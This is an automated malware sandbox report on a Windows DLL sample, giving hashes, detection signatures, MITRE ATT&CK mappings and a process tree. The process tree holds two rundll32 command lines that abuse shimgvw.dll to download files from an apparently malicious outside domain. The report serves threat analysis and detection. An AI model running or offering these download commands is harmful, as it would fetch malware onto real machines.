861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3

Analysis

max time kernel
130s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
29/08/2024, 02:15

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General

Target

861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3.dll
Size

144KB
MD5

b14ef85a60ac71c669cc960bdf580144
SHA1

08906644b0ef1ee6478c45a6e0dd28533a9efc29
SHA256

861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3
SHA512

568fd5856c2e3801d59d094429243b6e1649d3b519f8cad0feab2c6752d4158e30d305fe06a651788d7f4420d43886f5dfb4fb43da605f0a718711cb099059e9
SSDEEP

3072:X3ri+nr4ciRGSuaHUCO25obTBhH5P1KCJN6hkf1GYn3:X3rv2RGPwUC5o3H5PVLln3

Score

8^/10

discovery

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	3856	rundll32.exe
19	1860	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1860	rundll32.exe
3856	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4892	4796	rundll32.exe	86
PID 4796 wrote to memory of 4892	4796	rundll32.exe	86
PID 4796 wrote to memory of 4892	4796	rundll32.exe	86
PID 4892 wrote to memory of 1860	4892	rundll32.exe	87
PID 4892 wrote to memory of 1860	4892	rundll32.exe	87
PID 4892 wrote to memory of 1860	4892	rundll32.exe	87
PID 4892 wrote to memory of 3856	4892	rundll32.exe	93
PID 4892 wrote to memory of 3856	4892	rundll32.exe	93
PID 4892 wrote to memory of 3856	4892	rundll32.exe	93

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:1860
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:3856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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